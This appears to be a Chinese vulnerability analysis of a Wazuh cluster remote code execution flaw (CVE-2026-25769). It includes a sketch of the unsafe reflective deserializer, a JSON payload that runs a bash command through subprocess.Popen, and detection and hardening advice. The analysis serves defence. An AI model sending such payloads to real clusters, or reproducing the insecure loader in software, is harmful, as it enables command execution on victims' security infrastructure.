通过不安全反序列化导致的远程代码执行:WazuhXDR/SIEM(CVE-2026–25769)

admin 2026-05-14 14:15:17 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该文档分析了WazuhXDR/SIEM平台中存在的已认证远程代码执行漏洞CVE-2026-25769,其核心问题在于集群通信中使用不安全对象反序列化机制,允许攻击者通过控制JSON数据动态导入Python模块并执行任意命令。漏洞利用需要入侵worker节点,但利用稳定性高且无需绕过内存保护。文档提出了防御建议包括禁用动态对象重建、采用零信任架构及限制高危模块导入,并指出该类漏洞在自治系统中具有普遍性。 综合评分: 82 文章分类: 漏洞分析,WEB安全,安全建设,解决方案,应用安全


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通过不安全反序列化导致的远程代码执行:Wazuh XDR/SIEM(CVE-2026–25769)

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安全狗的自我修养

2026年5月12日 15:19 中国香港

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官网:http://securitytech.cc

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对影响 Wazuh 集群部署的已认证远程代码执行漏洞进行技术分析,该漏洞源于不安全的对象反序列化与不安全的动态模块加载(CVE-2026–25769)。

Wazuh 是一个开源的 XDR/SIEM 平台,提供终端监控、威胁检测、日志聚合、分布式遥测采集以及跨集群基础设施的安全编排能力。该平台支持多节点部署,包括 master 节点与 worker 节点,通过认证且加密的内部集群通道进行通信。

本研究分析了集群通信中存在漏洞的对象重建机制,展示攻击者控制的 JSON 结构如何影响 Python 运行时行为,并分析认证的 worker 节点如何通过不安全的反射式对象加载,在 master 节点上实现任意命令执行。

该漏洞揭示了分布式安全系统、编排框架以及自治基础设施平台中越来越普遍的一个架构问题:认证内部组件之间的隐式信任与动态运行时执行机制的结合。


技术分析

漏洞概述

CVE-2026–25769 是一个影响 Wazuh 集群部署的已认证远程代码执行漏洞。

漏洞来源于内部集群通信中的不安全对象重建逻辑,攻击者可通过控制 JSON 数据影响:

  • Python 模块导入
  • 运行时类解析
  • 对象实例化行为
  • 可执行构造函数

最终可在集群 master 节点上实现任意操作系统命令执行。


漏洞分类

  • CWE-502:不可信数据的反序列化
  • CWE-470:使用外部控制输入选择类或代码
  • CWE-94:代码生成控制不当

集群架构

Wazuh 集群由以下组件构成:

  • master 协调节点
  • 分布式 worker 节点
  • 终端 agent
  • 内部 RPC 风格通信机制

worker 节点同步:

  • 安全事件
  • 配置更新
  • 任务执行
  • 编排状态

通过加密的集群消息通道进行通信。

核心问题在于:master 节点隐式信任已认证 worker 提交的可执行对象元数据。


存在漏洞的对象重建机制

漏洞核心在于函数:

as_wazuh_object()

其逻辑类似如下:

from importlib import import_module

def as_wazuh_object(dct): if ‘wazuh_object‘ in dct: metadata = dct[‘wazuh_object‘]

```
    module_name = metadata['__module__']
    class_name = metadata['__class__']

    module = import_module(module_name)
    cls = getattr(module, class_name)

    return cls(*metadata.get('args', []))

“`

该流程存在严重风险:

攻击者控制的 JSON → 动态模块导入 → 运行时类解析 → 不安全对象构造 → 任意执行行为

反序列化层实际上将 Python 的反射机制直接暴露给攻击者输入。


不安全动态导入

危险点在于:

import_module(user_controlled_module)

以及:

getattr(module, user_controlled_class)

动态导入通常用于:

  • 插件系统
  • 可扩展架构
  • 编排框架
  • RPC 处理器

但如果模块或类名由外部输入控制,就会使 Python 解释器本身变成攻击面。


Python 运行时滥用

与传统内存破坏漏洞不同,Python 反序列化漏洞通常依赖:

  • 反射执行
  • 可执行构造函数
  • 导入时行为
  • 运行时对象解析

Python 标准库中本身就存在许多可执行原语:

  • subprocess.Popen
  • os.system
  • pty.spawn
  • multiprocessing.Process
  • runpy
  • pickle
  • code

因此利用门槛较低。


利用方式

初始条件

攻击者需要:

  • worker 节点被入侵
  • 获取集群凭证
  • 拥有认证通信能力

尽管需要认证,但现实中仍然可行:

  • 边缘系统更容易先被攻破
  • worker 暴露面更大
  • 内部信任较弱
  • 分布式结构增加横向移动机会

恶意载荷示例

攻击者可构造如下 JSON:

{ “wazuh_object“: { “module“: “subprocess”, “class“: “Popen”, “args”: [ [“/bin/bash”, “-c”, “id > /tmp/pwned”] ] } }

在漏洞路径下最终等价执行:

subprocess.Popen( [“/bin/bash”, “-c”, “id > /tmp/pwned”] )


执行流程

第一步:接收集群消息

message = receive_cluster_message()

第二步:解析 JSON

obj = json.loads(message)

第三步:对象重建

restored = as_wazuh_object(obj)

第四步:动态导入

module = import_module(“subprocess”)

第五步:类解析

cls = getattr(module, “Popen”)

第六步:执行命令

cls([“/bin/bash”, “-c”, “id”])

最终导致任意命令执行。


subprocess.Popen 的危险性

subprocess.Popen 在反序列化场景中非常危险,因为:

  • 在构造函数阶段即执行行为
  • 参数直接控制命令执行
  • 不需要额外方法调用
  • 行为确定性强

可靠性分析

该漏洞利用非常稳定,因为:

  • 不需要绕过 ASLR
  • 不需要 shellcode
  • 没有竞态条件
  • 没有内存破坏
  • 利用的是正常运行时行为

Fernet 加密分析

集群通信使用 Fernet 加密:

encrypted = fernet.encrypt(payload)

但加密只能保护:

  • 机密性
  • 完整性
  • 认证

无法验证:

  • 运行时安全性
  • 对象合法性
  • 执行行为

因此加密并不能阻止漏洞利用。


信任边界崩溃

核心问题是内部组件之间的隐式信任:

认证 worker ≈ 可信 worker

一旦 worker 被攻破:

  • 集群通信成为攻击面
  • 编排通道变成执行通道
  • 内部信任变成横向提权路径

检测机会

异常模块导入

例如:

  • subprocess
  • pty
  • socket
  • os

出现在集群处理流程中应重点关注。


子进程异常创建

异常 fork / exec / clone 行为值得调查。


异常 JSON 结构

  • 非常规对象元数据
  • 模块引用异常
  • 结构畸形或过大 payload

防御建议

禁止运行时对象重建

避免:

  • 外部输入控制 import
  • 动态类解析
  • 不安全反射

使用:

  • 白名单机制
  • 严格 schema
  • 静态映射

内部组件采用零信任

认证 ≠ 信任

内部组件也必须限制:

  • 执行权限
  • 编排能力
  • 反序列化能力

限制高危能力

应限制:

  • subprocess
  • importlib
  • pickle
  • eval
  • exec

更广泛影响

该类问题也出现在:

  • AI agent 框架
  • 自动化编排系统
  • SOAR 平台
  • 分布式执行管道
  • 自主执行框架

核心模式:

结构化输入 → 动态能力解析 → 运行时执行

随着自治系统增加,这类漏洞会越来越普遍。

  • 公众号:安全狗的自我修养

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  • http://github.com/haidragon

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